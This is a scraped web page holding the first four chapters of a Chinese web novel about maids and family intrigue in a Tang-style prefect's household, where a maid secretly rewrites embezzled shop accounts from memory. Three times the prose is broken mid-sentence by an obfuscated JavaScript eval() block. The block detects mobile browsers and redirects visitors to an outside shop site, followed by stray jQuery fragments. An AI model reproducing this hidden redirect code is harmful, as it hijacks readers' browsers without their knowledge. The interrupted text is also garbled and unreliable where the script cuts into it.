《与秋辞》 1. 第一章 秦秋近日颇为苦恼，下月冬至就是大夫人的周年祭日，祭日一过就意味着大房要除服了，凝晖轩风平浪静的日子即将结束。 凝晖轩的主子是朗州刺史刘从俭，刘刺史今年也不过三十有二，虽非翩翩少年郎，但是不到四十岁的四品中州刺史，仍是朗州城内炙手可热的人物。更何况这位刘刺史的祖上可是宠盛隆极的夔国公，朗州刺史一职更是由太宗文皇帝钦定的世袭之职，中年丧偶兼膝下无子，城内不少人家都在想着如何让刘刺史开口唤自己一声“岳丈”。 刺史府内也是暗流涌动，老夫人萧氏关心长子的续弦人选自是不消多说，二房和三房的主子们亦都各有计较，尤其是二房。大夫人逝世之后，管家之权自然落到了二夫人手中，眼见着老夫人开始张罗长子续弦一事，二夫人近来暴躁得很，当差的仆妇近日都谨小慎微了许多。 凝晖轩亦是如此，大夫人的陪房早在半年前就已被她娘家要了回去，只因在丧期，院内也没添人手，眼见着丧期将过，有想往凝晖轩塞人的，有想出去的，更甚者有人想趁新夫人未进门搏一搏前程的，也有看不惯此等行径的，诸如种种，以至于向来不愿多管闲事的秦秋，近来总在自己的屋子里猫着，生怕一出门就沾染了是非。 再说秦秋，她乃是凝晖轩的二等丫鬟，凝晖轩只有四个一等的分例，大夫人的陪嫁占了两个，现如今去了也没补上，剩下的两人便是自老夫人那处来的碧霄和刺史大人乳母的女儿青梧。 秦秋的爹是刺史府的采买管事，娘是内院的管事姑姑，她打从一开始谋的就是闲差。但因她拨得一手好算盘，大夫人在世时，喜欢让秦秋帮着看账本，便让她占着二等的差事领了一等的月钱。 凝晖轩内人人皆知，秦秋这样的家生子，进府当差是为了日后也在内院当个管事姑姑，不管是想往上爬的、往外走的、亦或是想进来的，秦秋都是一个特殊的存在。她是府里极少的几个会识字看账的婢女，满府里也只老夫人身边的木槿、二夫人身边的春雪和三夫人身边的蓝桥有这本事，她犯不着与人交恶，旁人也犯不着得罪她。 在过去的一年，秦秋可谓是凝晖轩最轻松的人。贴身服侍的活计，自有碧霄和青梧，以及两人调教出来的小丫鬟，完全不与她相干，而二等丫鬟要做的那些活计，裁衣做鞋、浇水喂鸟、生火沏茶等事，又常有旁人抢着帮她做了，再者，因为主母新丧，刺史大人整日待在衙门里，院内的事也轻省得很。 秦秋成了闲人一个，她也乐得清闲，只是这份清闲眼见就要到头了。 碧霄的心思，同秦秋的身份一样，也是众人皆知的事。可妾有情、郎无意，刺史大人本就不是流连内宅之人，大夫人在世时对她的殷勤视若无睹，以至于她耽搁至今，进退维谷。谁让碧霄人前人后常以凝晖轩第一人自居，如今眼见大夫人丧期将过、老夫人业已放出风声要为大人续弦，碧霄焉能不着急。 而碧霄一着急，就没少惹青梧的冷嘲热讽。二人一掐起来，秦秋就觉得头疼。 就说这日午后，秦秋原是躲在屋内做鞋，这是她预备给她娘贺寿的，才纳了个鞋底子，就听外面传来闹哄哄的声音。 秦秋本不欲搭理，可是吵嚷声越闹越大，秦秋左思右想，若是在此关口惹了管事姑姑的眼，尤其是万一二房借着此事作筏子，保不齐她也会被连累责罚。唉，秦秋叹了一口气，无奈地离了后罩房，拐到前面来。 只见凝晖轩院内已像个菜市似的，泾渭分明地站了两拨人，左右抄手游廊下还围了不少看热闹的，这么冷的天，他们也不怕冻着！秦秋心下叹道。 青梧那双俊俏的丹凤眼此刻满是嘲讽之色，嘴里吐出的话也是又尖又利：“碧霄姐姐可真是贤德，人前日日念叨着大夫人的恩情，人后却是熬了几宿缝制新衣，我原以为姐姐点灯熬油般的虔诚，是为了赶制一套衣裳出来好在下月夫人忌日时烧给夫人，不承想，哎哟哟，姐姐这新衣竟是做给自己的！啧啧，年还没过呢，寒冬腊月的就惦记着立春了？瞧瞧这颜色，杏黄色的春衫可真是娇艳得很呢！” 碧霄一张脸胀得通红，讷讷分辩道：“青梧妹妹看错了，我就是按着夫人以前的尺寸裁的。” “巧了不是！我也是刚好做了一套衣裳要烧给夫人，既是误会了姐姐，姐姐便把它给我吧，我一并送去给管事姑姑，夫人的周年祭礼都是张姑姑在操办。碧霄姐姐，松手吧。”青梧冷眼笑着。 碧霄的心在滴血，若要不给，她可就成了满院的笑料，可这是她最好的一块料子，还是老夫人前年赏的，若给出去了她可就变不出来了，眼看着下月就要除服，今年府里给他们大房裁的衣裳都是灰不溜秋的…… 碧霄咬着唇不说话，与碧霄交好的喜枝忍不住呛声道：“青梧姐姐也管太宽了，你平日里怎么说我们都使得，我们原比不上姐姐是一等的分例，可碧霄姐姐同你却是一样的！” “哟，我可不敢同她一样！碧霄姐姐志向远大着呢！”青梧轻蔑地哼了一声。 碧霄祈求地看向对方，却见青梧眼底讥讽之色更浓，她一时心虚地低下头，又急又羞，生怕青梧当着众人继续抖落出旁的话来。 素日仰仗青梧的鹊儿也跳出来，指着喜枝对骂道：“青梧姐姐说话有你还嘴的分？” 两个大的还在玩眼波官司，几个小的已经打做一团，你一言我一语推搡起来。 秦秋眼看场面要失控，忙拉过一个素日殷勤讨好青梧的小丫鬟，道：“你快去劝劝青梧姐姐，别把动静闹大了再惊动管事姑姑！” 那小丫鬟看热闹看得正欢，撇嘴说道：“姐姐怎么不去劝？再说了，我哪劝得住！” 秦秋没辙，正在想着自己要不要溜出去躲清静，忽听院门处传来一声怒喝：“这是在做什么？府里的规矩都没了吗？” 几个扭成一团的小丫鬟唬得小脸一白，立时撒了手，无措地往碧霄和青梧身后退去。 秦秋亦是一惊，刺史大人怎么这个时辰回府了？她瞅瞅天色，这早了得有一个时辰吧！ 碧霄的脸上更是血色尽失，抖着唇上前行礼，道：“大人回来了！婢子们适才玩闹无状，请大人责罚。” “散了！”刘从俭不耐烦地挥挥手，眼风轻轻一扫，脚下不停地往小书房而去，忽然，他看着秦秋，眼底闪过一抹疑惑，伸手一指，道，“你，对，廊下那个穿蓝袄子的，跟我来小书房。” 秦秋愣了，碧霄和青梧也愣了。旁人忙作鸟兽散，消失无踪。 果然不该出来看热闹的，秦秋心里万分懊恼，满心疑惑地举步跟去小书房。 凝晖轩院内的小书房位于北面一排正房的最东端。 此刻，刘从俭端坐在书案之后，皱着眉头看着秦秋，秦秋低垂着头，头皮发麻，静静地站着，刺史不开口，她自然也不会贸然开口。 碧霄恭敬地捧上一盏茶，刚开口唤了一声“大人——”，就被刘从俭冷声打断：“茶放下，你出去，门掩上。” 碧霄此时心头忐忑，也不知适才青梧的话他听进去多少，此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598203|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻见大人脸色不佳，若是往日她定要问上两句，以表她这一颗心，但眼下却不敢多嘴，忙依言退下，只是在阖上小书房的两扇门时，十分警惕地看了两眼秦秋的背影。 秦秋心里更没底了，半晌，秦秋才听得一道威严的声音响起：“你为何没回蒋家？” 这一问着实把秦秋问住了，她呆了一瞬才回过味来，合着大人是把她当成大夫人的陪嫁丫鬟了，秦秋忙硬着头皮答道：“回大人的话，婢子是府里的家生子，我爹是前院的管事秦实。” “你可是叫秦秋？往常帮着夫人看账本的？”这下换刘从俭吃惊了，他一直以为亡妻看账本用的是自己的陪嫁丫鬟。 “是，婢子正是秦秋，也确实帮夫人看过账本。”秦秋松了一口气，原来是为这事啊。 “夫人生前时常提起你，说你一手算盘拨得极好，几十年的老账房都不如你，还说你过目不忘。” 秦秋忙恭声答道：“婢子的记性确实较常人好些，但也不到过目不忘，夫人慈爱，谬赞了。” “那你可还记得‘泽裳阁’近五年的盈亏？”刘从俭显然不想听别的废话。 秦秋愣了一下，不由自主地抬头，看向书案之后，刘从俭的眼神充满了威慑。秦秋不解其中深意，但也知道自己的回答至关重要。 “你只管放心地说‘记得’还是‘不记得’，你需知道，我才是这刺史府里的当家人！” 秦秋定下心来，深吸一口气，沉声答道：“回大人的话，夫人在时，泽裳阁是府内盈利最多的铺子，元贞十年，盈利八千两，元贞九年，盈利七千二百两，元贞八年，盈利六千五百两，七年——” “够了！”刘从俭出言打断她。秦秋听得出来，刺史的呼吸有些不稳，似怒似惊似气。 “若我要你将元贞六年至元贞十年的账册默写出来，你可能做到？” 这下换秦秋气息不稳了，她似是不敢相信自己的耳朵，讷讷地重复：“默写过去五年的账册？” “是！”刘从俭的双眼一瞬不眨地盯着底下站着的人，他眼尖地发现对方无声地咽了口唾沫。 秦秋斟酌半晌，忽生出疑问，迟疑着说道：“府里的账册历来都是外院账房一份，内院一份，一年前依着老夫人之令，存于凝晖轩的账册已悉数移交给二夫人，大人为何……为何……”秦秋想，她该如何问出口“想看账册为什么不直接问账房或者找二夫人”。 “为何我不去找账房或者二夫人是吗？”刘从俭替她说了出来。 “是，婢子愚钝，请大人赐教。” “因为今日有人告诉我泽裳阁在过去的五年连年亏损，今年为了平往年的账，泽裳阁只能盈利一千两。还想问吗？” 秦秋把头垂得更低了，声音也细如蚊蚋：“婢子虽然能记住过往盈利总数，但是明细账……属实……属实有些为难……” “我也不为难你，你若能将过去五年泽裳阁的往来账目大数默写出来，我赏你五十两，若能细致到各月，我赏你一百两。” “大人何时要这账册？”秦秋的精气神比刚才好了一些。 “我给你五日，每日默写一年的，此事只你知我知。” “只是，”秦秋又犹豫了一下，道，“婢子若要默写账册，需用到笔墨纸砚，还要避人耳目，恐怕——” 刘从俭也想到了这层，他沉吟片刻，道：“你白日里回想明细，夜间写下如何？从明日起，我会比以往早一个时辰回府，你就到书房，当着我的面写！” 2. 第二章 秦秋极力克制着自己，不让脚下的步子显得太过雀跃，不紧不慢地朝门口退去，满脑子都是“一百两，一百两！”，她即将要在五日之内赚到八年的月钱，且还是“你知我知”她阿爹阿娘不知道的，一颗心焉能不激动。 拉开书房的门，跨过门槛，再小心翼翼地将门掩上，一直向西，走到尽头右拐再向前就是后罩房，只要一拐弯她就可以快步回屋了，秦秋全副心神在数着步子，一个转弯，冷不防撞上一个人。 “唉哟！”秦秋轻呼出声，又赶紧捂住嘴，先是回头看了一眼书房的方向，此处离书房已有十丈远，这点动静应是传不过去，她轻呼一口气，放下手，转头就对上了一双幽怨的眸子。 “碧霄姐姐，麻烦让让。”秦秋微微一笑，声音平静。 碧霄颤着声，又轻又快地问道：“大人，大人与你说什么了？你，你是不是将今日的事……” 秦秋摇头，飞快地打断她，道：“我没有，大人没问，我也没说。” “那，那，”碧霄眼里闪着亮光，充满希冀地看着秦秋，又道，“大人为何单独留你在小书房，嗯，留了约有两刻钟，往日他极少让我们进书房的。” 这可值一百两，不能说！秦秋轻笑一声，道：“不过是问两句院内的琐事罢了。你也知晓，我爹是前院的管事。”说完，也不管碧霄让不让道，绕过眼前的人径直走了。 只留下碧霄一个人如风中的落叶般抖个不住，浮想联翩，青梧还没被她挤走，秦秋又要入大人的眼了吗？秦秋可不比青梧，青梧的娘已经过世，青梧剩的只有乳母女儿的情分，在府里无人替她做主，可秦秋，秦秋的爹娘都是府里得力的人啊！ 碧霄看着消失在后罩房的人影，咬咬唇，终是一狠心一跺脚，朝小书房走去。 “笃笃”两下叩门声响起，刘从俭的思绪被打断，他极其不悦地问道：“何人？何事？” 碧霄大胆地将门推开，又仔细地将门阖上，欲语还休地看着刘从俭，一步一步极缓极慢地向着书案走去，而书案后面持书端坐之人则眼神晦涩不明。 碧霄的一颗心似在油锅里煎熬，老夫人将她拨到凝晖轩的意思昭然若揭，她不信大人不知晓，可大人是何心思她完全拿不准，若说从前是因为夫人作梗，可如今夫人已逝，眼见着夫人丧期要过，若是新夫人进门之前她还不能成事，恐怕她真会被送回老夫人身边了，到那时，她还有何脸面继续留在府里！念及此，碧霄鼓足了勇气看向前方之人。 冬日的余辉只剩了一抹，从南面的窗户斜斜地照进小书房，刘从俭的脸半明半暗，碧霄更读不透眼前之人。 “碧霄，我敬你是母亲身边伺候过的人，你今日已经逾矩，无端闯入书房到底所为何事？你若是再这般，就回老夫人那儿伺候吧。”刘从俭的声音里已经暗含警告。 碧霄在书案前停了下来，嗓音透着一丝委屈：“婢子伺候了大人十年，大人应知晓，婢子是最守规矩的，适才与青梧，真的只是为些小事拌嘴，大人若要因此送婢子回老夫人那儿，婢子便一头碰死在这！大人——”碧霄一面说一面抬眼去看对面之人的反应。 可刘从俭的眼神没有一丝波动，碧霄心头越发酸涩。 “你与青梧都是这院里的管事丫鬟，当以身作则。今日之事作罢，日后当谨记你的本分，出去吧。” 这样应当算揭过不提了，碧霄心下稍宽，定了定神，又恭敬地问道：“大人今日回来得早些，可要摆晚饭了？” 刘从俭这才看了看天色，忽然放下书，起身向外走去，边走边说：“我去母亲院中用饭，你们不必跟来。” 碧霄刚抬起的脚尖又生生放下，双眼难掩失望之色，怔怔地看着刘从俭的背影。忽然那人又脚下一顿，转过身来，道：“明日我会在申正三刻回府，提前备好晚饭和茶水点心，送到书房。”吩咐完这句，刘从俭又头也不回地走了。 碧霄心里又生出几分欢喜，她虽不知大人为何要提前一个时辰回府，可是大人在后院多待一个时辰，她就多一线机会。 刘老夫人萧氏住在和熙堂，刘从俭的到来显然不在众人意料之中，丫鬟们已经在摆饭，他的两个弟媳郭氏和裴氏分立刘母左右，等着伺候婆母用饭。 对他的到来，三人眼中都闪过一瞬错愕，郭氏更为明显，手中的筷子“啪嗒”一下磕在桌沿上。 刘母一心都在儿子身上，并未留意这点小动静，只有裴明霜微微动了动眉毛，但也未置一词。 郭云静定了定心神，心下自思道，可不能自乱阵脚，泽裳阁的账册都被她换过了，旧账册都已化成灰烬，是她亲手烧的，大房就算有天大的本事，也不可能把原来的账册变出来！婆母这些年从不过问家事，大伯一个男人，怎么可能知道先前的账册！莫慌，莫慌！ “今日休沐吗？我果然上了年纪，日子都记不大清了。”刘母对着大儿子露出一个慈爱的笑来，又嗔道，“你也是的，既想着过来陪我吃饭，怎不提前说一声？早知你过来，我就将她们两个赶去歇着了！” 刘从俭目露歉意，道：“母亲责备的是，是我思虑不周了。今日衙门内无事，我回来得早些，想着许久没陪母亲一道用饭了，这才临时起意，望母亲和两位弟媳恕罪。” 郭云静和裴明霜忙摆手道“都是一家人”“无碍”等语。 刘母料定儿子有事要说，便对郭、裴二人道：“既如此，你二人自去用饭吧，用了饭早些歇着，不用再来我跟前伺候了。” 二人见此，也不推辞，向刘母行了一礼，便款款离去。 郭云静心里有鬼，脚步不自觉地慢了下来，裴明霜都走下正房的台阶了，她还未跨出门槛。 刘从俭将二人的动作悉数收在眼里，只不动声色地与刘母说着话。 刘母见儿子落座，张口便道出心中记挂之事：“你来得正好，就算你不来，这两日我也要去寻你。到下月冬至，蒋氏就去了一年了。唉，她是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598204|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的，我也念着她的好处，可斯人已逝，凝晖轩总得有个主母，你也老大不小的，你二弟三弟都是有儿有女的人，这事听我的，不能拖，过了她的祭日就得操办起来，至于人选——” 刘从俭貌似恭敬地在听他母亲说话，实则眼神一直在留意着郭氏的动作，果然，听到续弦的事，郭氏一脚才跨出门槛，另一脚就停了下来。 刘从俭心念一动，二房急于昧下泽裳阁的银两，除了他所查到的他那好弟弟干下的好事，兴许还藏了别的隐情，背后不管还有什么，他要续弦一事绝对是个引子，若是二房信他暂时不会续弦，管家之权依旧还是稳在二房手里，也许他们就不会狗急跳墙，他要查的事也好办一些。 思及此，刘从俭唇边微不可察地闪过一丝笑意，但仅仅是一闪而过，转瞬就变成了哀戚之色。 郭云静跨出正房，微微侧身，假装在看廊下的鹦鹉，实则瞟着屋里的动静，只见刘从俭一脸怆然，哀声道：“我来也正为此事，母亲，我想为她再服丧一年！” 郭云静心头一跳，转身慢慢地走下台阶，没想到，大伯还是个情种！再守一年好，这样她就可以将账目做得更滴水不漏了！只是，婆婆恐怕不能答应。果然，她听到身后传来刘母的呵斥之声—— “胡闹！妻为夫服丧三年，夫为妻服丧一年，礼法从来如此，哪有再守一年的礼！” 郭云静已走下台阶，刘从俭的声音依然清晰地传进她耳朵里：“母亲，我对不起她，你也知我自小就是个木头性子，领了这刺史一职之后更是日日忙于公事，对她多有冷落，她无半分对不住我，我却亏欠她良多，母亲，我意已决，明年绝不迎娶新妇！” 这就令人安心了许多！郭氏扶着丫鬟的手，加快脚步离开了和熙堂。 母子二人的一顿晚饭不欢而散。 夜间的烛火映照下，刘母满面愁容。她已换了柔软舒适的寝衣，抱着手炉倚靠在床头，看着在暖阁安置被褥的木槿，忽然出声唤道：“木槿，今夜你别睡那里了，来，过来，就睡我边上吧。” 木槿笑着走到床边，挨着床榻坐下，伸手探了探被子里的温暖，道：“老夫人快睡吧，婢子就在外面守着您。大爷今日的话急了些，老夫人别往心里去，等过些时日也许大爷自己就想通了。”木槿一面说着话，一面伸手将刘母身后的枕头抽了，扶着她慢慢往后倒。 刘母叹了一口气，乖乖躺下，木槿为她掖了掖被角，就在木槿抽手离去之际，刘母又拽住她的手腕，犹疑着说道：“不对呀，上月我与他提过，等过了腊月，正月刚好多办两场宴席，为他相看人家，那时他并未出言反对，怎今日话锋就不对了？莫非这个月凝晖轩出了什么事不成？” 木槿只好轻轻将手抽出，反握住刘母的手，塞回被子里面，柔声哄道：“老夫人快睡吧，您今日也乏了，睡一觉也许明日大爷就改了主意。” “不行，明日一早，等他去了衙门，你差人去把碧霄给我叫来。” 3. 第三章 木槿来凝晖轩传话时，秦秋连每一根头发丝儿都在用力，用力回忆元贞十年的泽裳阁账目往来，外人看来就是她盘腿坐在炕上对着纳了一半的鞋底发呆，偶尔嘴唇翕动，但并未发出声音。 凝晖轩的丫鬟都住在正房北面的后罩房里，从东往西按着等级分屋子，最东面的一间是碧霄和青梧的，秦秋和另外三人合住一屋，紧挨着碧霄二人的屋子。自然而然地，木槿路过此处时，透过半开的窗户，一眼就看到了秦秋呆呆的模样。 “你这是在干什么？纳个鞋底神游天外？”木槿在窗前停下，两手支在窗户上，好笑地看着眼前之人。 秦秋想得太入迷了，以至于没听见木槿的声音，这下木槿更好奇了，她算了算时辰，索性脚下方向一错，扭头进了屋子。 “想什么呢这么入神？” 直至木槿动手拍了她一下，秦秋才回过神来，木槿的笑脸已经凑到了她眼前。 “木槿姐姐！对不住，我方才在想——”秦秋一面说一面举起手中之物，待看清是鞋底时，她的话噎住了，在想什么呢，想在鞋底上绣一朵花？ 秦秋尴尬一笑，反客为主地问道：“木槿姐姐怎么过来了？老夫人可离不得姐姐，多大的事能把姐姐请过来？” “呵，看来心里想的事不小，还瞒着我是吧？”木槿不在意地一笑，细细打量了秦秋两眼。其实秦秋的外貌并不出众，但是胜在有一种沉稳的气质，让人觉得此人非常可靠。郭氏猜测老夫人不过问家事其实错了，老夫人对家中产业一清二楚，蒋氏生前会将紧要的账册送与老夫人过目，而秦秋和木槿就是两方对账跑腿的人，木槿也是因为那样才与秦秋熟络起来的。 木槿索性在秦秋对面坐下，叹道：“你怕是凝晖轩最清闲的人了！” 秦秋亦笑道：“木槿姐姐，你该不会是替老夫人来清理闲人的吧？可是要把我们打发出去，再进一批新人？” “呸，想得美！过一阵有你们忙的！” 二人的说笑早惊动了隔壁的碧霄，碧霄闻声赶来，正待张口询问，就见木槿对着她点头，道：“来得正好，正是为你而来。” “我？”碧霄眼中闪过不解，又露出几分紧张，担心莫非昨日的动静传了出去，惊动了老夫人？ “正是，老夫人寻你回话，还等着呢，走吧。” 碧霄是五岁那年被卖进刺史府的，那年她家里遭了灾、她爹又意外身亡，她娘在她和她兄长之间选择了她兄长。她从和熙堂的三等杂役做起，花了十年时间，因为一手出众的针线活和温柔体贴的性子得了老夫人的青眼，被指派去刘从俭身边伺候。 府里的规矩，丫鬟年满二十五岁则可婚配，她不像旁人有父母谋划，她所能靠的便是老夫人，若是老夫人觉得她在凝晖轩不中用，随意给她配个人，她岂不是永无翻身之日了吗？是以，碧霄近来才会越发心急。如今，刘从俭那儿还没动静，老夫人忽然来传她说话，她不得不打起十二分精神。 碧霄静静地候在和熙堂的小佛堂外面，每日巳时，老夫人都要在小佛堂内念半个时辰的经书，碧霄默默地计算着时辰，不知今日是福是祸。 “木槿！”里面传来老夫人的呼唤。 碧霄转头，身侧之人已经掀帘进去，片刻之后，就见木槿搀着一个满头银丝、周身雍容的老妇人走了出来，碧霄忙跪下行礼。 刘母没有立即叫她起来，而是由着木槿将她扶到暖榻上坐了，喝了一口热茶润嗓子，才缓缓开口：“起来回话吧。” 碧霄忙起身，微垂着眉眼，轻走两步上前，在刘母身前三尺之外站定，两手交叠于身前，屏息凝神等着刘母开口。 刘母微皱着眉头，声音不疾不徐：“我且问你，最近凝晖轩可太平？” 碧霄呼吸一滞，当真是昨日之事吗？！不对，若是如此，老夫人该直接派人去训斥她们了。她微微调整了呼吸，温声答道：“回老夫人的话，依着二夫人的吩咐，近日院中各人都在忙着准备大夫人下月祭奠诸事，并无异样。只是近来诸事繁杂，偶尔有些推诿塞责、拌嘴吵闹的小事，婢子会严加约束众人的。” “谁问你这个？这些事我自是放心你的！”刘母不耐烦地挥挥手，语气急促了起来，“我是问你院里最近可有人作怪？大郎最近可有跟谁亲近？” “有人作怪？”碧霄有些吃惊，摇头说道，“并无！大人还是跟往常一样，每日都是卯正三刻离府，戌初回府，用过晚膳之后多是在小书房待着，并未亲近什么人。” “这就怪了！既是这样，好端端地怎又不愿意续弦了？”刘母自顾自地念道。忽然，她又似想到了什么，猛地抬眼盯着碧霄，道：“你，大郎究竟收没收你？” 碧霄刹时红了脸，不知该如何作答，若是她答“没有”，老夫人会不会弃了她，若是她撒谎，老夫人先前问“作怪”又是何意，她的脸越来越红，悄悄地抬眼去瞧刘母的神色，令人奇怪的是，刘母眼中多是好奇，并无震怒之色，她心一横，索性支支吾吾地说：“眼下还是大夫人丧期，大人是守礼之人……”这话倒也没错，丧期没做什么是事实，虽然以前也没有什么。 莫非是外面的人？刘母心里兀自猜疑着，她不说话，碧霄也不敢轻易再说话。 此时她的心里在想着另一件事，异样？昨日大人提前归家，还把秦秋叫去小书房算不算异样？她轻轻攥了攥手中的棉帕，抬眼偷觑刘母，见对方仍在凝眉思索，她又犹豫了，只是叫去说话，似乎也不算什么异样，若是这样禀报，老夫人恐怕会觉得她不够得力，况且，秦秋的爹娘可都还是府里管事之人，一件什么都算不得的小事，她若此时提起，似乎也太得罪人了，若是老夫人不计较，她日后可就多了三个敌人。 碧霄这厢转了千百个想头，刘母那厢也是重重地叹息了一声，摆手道：“罢了罢了，你先回去吧。近日，你多留神，若是发现大郎有什么不对劲的，及早来禀报我。” “是，婢子告退。”还是先按下不表吧，碧霄如是想道。 凝晖轩内，木槿将人带走之后，秦秋又开始发呆了。这回她连鞋样都放下了，抱膝坐在炕上，一动不动，只眼珠轻转，嘴里偶尔念叨两句，但是声音都极轻极细，旁人根本听不清。 碧霄路过时，忍不住将目光投向秦秋。若论长相，凝晖轩内当数青梧最为出众，尽管她不愿意承认，可她又不得不认，青梧的样貌在这府里都是拔尖的，只是性子太过急躁，说话又常常呛人，而自己则是占 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598205|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这点便宜，让人人都道自己才是这院里的丫鬟之首。撇开自己和青梧两人，二等丫鬟里，就连喜枝和鹊儿都胜过秦秋，所以，为何是秦秋呢？大人昨日为何独独把秦秋唤进小书房呢？ 碧霄想得太入神，以至于秦秋回神看了她几眼她都没发现。 秦秋不发一言地看着窗外之人，青梧和碧霄的心思她都知道，人各有志，她对此也并不反感。若是问她对这二人的看法，她倒是觉得青梧不是碧霄的对手，在凝晖轩待了这几年她也看出来了，青梧的确心直嘴快，有些时候说话不那么中听，但是她的喜怒哀乐都在脸上，不藏心思的人其实不太难相处，反倒是碧霄—— 碧霄这人，对谁说话永远都和和气气的，在她们这些丫鬟里，碧霄总以凝晖轩第一人自居，秦秋有时觉得好笑，青梧喜欢大人这事藏在心里，碧霄却是处处奔着做姨娘去的，想到昨日的争吵，青梧有句话说对了，碧霄给自己的定位恐怕不是管事大丫鬟，而是这院子的女主人，正因为这样，她才总要体现出自己事事考虑周全，也正因为这样，青梧才总跟她争锋相对。 冬日昼短，转眼就到申时。 碧霄亲自守在凝晖轩院门处，翘首以盼。秦秋则像个即将要给夫子交作业的学生，在屋内来回踱步，满脑子都是元贞十年的账目。 青梧懒洋洋地在廊下逗鸟，见到碧霄的模样，不禁又呛声说道：“我说碧霄姐姐，大人还有一个时辰才下值呢！知道你是这院里第一等贤德人，也不用作出这幅模样吧？”说完，自己捂着嘴咯咯笑了起来。 碧霄忍着气，正待回她两句，那个熟悉的人影蓦地就闯进了她的视野里。 “大人回来了！”碧霄迎上前去。 这倒是让青梧愣了一下，手中的鸟食都忘了丢进食架上。 而屋子里的秦秋则是深吸一口气，最后默念三遍“一百两，一百两，一百两”，像要走进贡院的举子似的，激动又紧张地走了出去。 刘从俭并不过多理会前来迎他的碧霄，只轻轻一点头，眼神都未曾多留，就大步流星地往小书房而去，对着在屋檐下站着的秦秋抬手一指，声音干脆又冷冽：“你，随我去书房。” 秦秋能感受到有两道炙热的目光盯着她的后背，她在心里哀叹道，你们别误会啊，我们想要的不一样，我只是想要一百两！ 小书房内，秦秋恭敬地问道：“大人，我要在哪里书写？” 刘从俭环顾四周，伸手朝他日常用的书案一指。 秦秋咽了咽唾沫，迟疑着说道：“会不会不妥？” 刘从俭不理她，自己从书架上取了一册书卷，往窗边一坐，头也不抬，冷声说道：“你有一个时辰。” 秦秋也不再纠缠这些细枝末节，快步走到书案之后，提笔落下第一行字。 一刻钟之后，门外传来碧霄的声音：“大人，晚饭和茶水点心都已备好，是直接摆饭还是先用些点心？” 刘从俭并不觉得饿，他正想开口说话，忽然又想到了什么，看了看书案，又看了看自己，起身走过去，对着秦秋道：“笔给我，你去研磨。” 秦秋立时想通其中关节，二人从善如流地换了位置。 “将热茶和点心送进来。” 4. 第四章 碧霄一进门，看到的就是这幅刺眼的画面，至少对她而言是刺眼的。刘从俭提笔站在书案之后，正凝眉看着案上的东西，而秦秋则垂首站在一旁研墨。此时一抹斜阳打在秦秋身上，碧霄竟觉得她的气质出众起来，对，书卷气，碧霄心里一酸，凝晖轩内，只有秦秋识字。 “大人，您才从衙门里回来，先歇息片刻吧，这些吃——”一个“食”字还卡在碧霄的喉咙，刘从俭已经十分不耐地说道：“东西放下，你出去吧，这儿有人伺候。” 秦秋在心里默默叹气，碧霄该是彻底想歪了，不用抬头她都知道碧霄射向她的眼神含着刀片。 几乎是在小书房的门重新被阖上的瞬间，秦秋身旁的人就放下笔离开了书案，留下一句：“写得很好，继续。” 秦秋无暇多想，忙又重新奋笔疾书。约莫过了半个时辰，秦秋才放下手中的笔，看向闲适优容地坐在不远处的人。 “大人，婢子写完了。” “这么快？不到一个时辰！”刘从俭的眼底微微露出少许震惊。 但是秦秋早有准备，这是她的策略，为了表示默写账册的艰辛不易，她早就想好了，最近的元贞十年可以写快些，越往前的就得越慢，还得越粗糙，要让刺史大人觉得一百两银子物有所值。 秦秋垂眸说道：“元贞十年毕竟才过，婢子记得清楚些。只是，婢子只能将与泽裳阁来往的大客户账目回忆个大概，还望大人恕罪。” 刘从俭早已经放下手中的茶盏和书卷，三步并作两步来到书案前，将眼前的十数页纸张匆匆扫了一眼，露出些许满意之色，被秦秋眼尖地捕捉到了。 满意就好，明日默写时就加一刻钟。秦秋暗暗计划着，忽然，她又想起一件十分重要的事，碧霄和青梧的反应提醒了她，她斟酌着词句，问道：“大人，婢子有一事想请教大人？” 刘从俭已经拾起元贞十年正月那一张纸，从头看起来，闻言头也不抬，随口应道：“何事？” “默写账册这事，大人昨日交待不许让第三人知道——” “你泄露给旁人了？”秦秋话未说完，刘从俭已经抬眼看向她，露出狠厉之色。 秦秋急忙解释：“并没有，婢子只是担心今日在小书房待了将近一个时辰，凝晖轩院内众人皆知，若有人问起，婢子该作何说辞？再就是，就是，这事若传到……二夫人那边……”秦秋的意思已经很明显了，如果刘从俭怀疑是二房销毁了账册，那他如今这番举动，二房很难不起疑心。 刘从俭缓了脸色，沉吟片刻，对着秦秋微微颔首，道：“你果然心思缜密，适合当个账房。” “大人谬赞。”秦秋松了一口气。 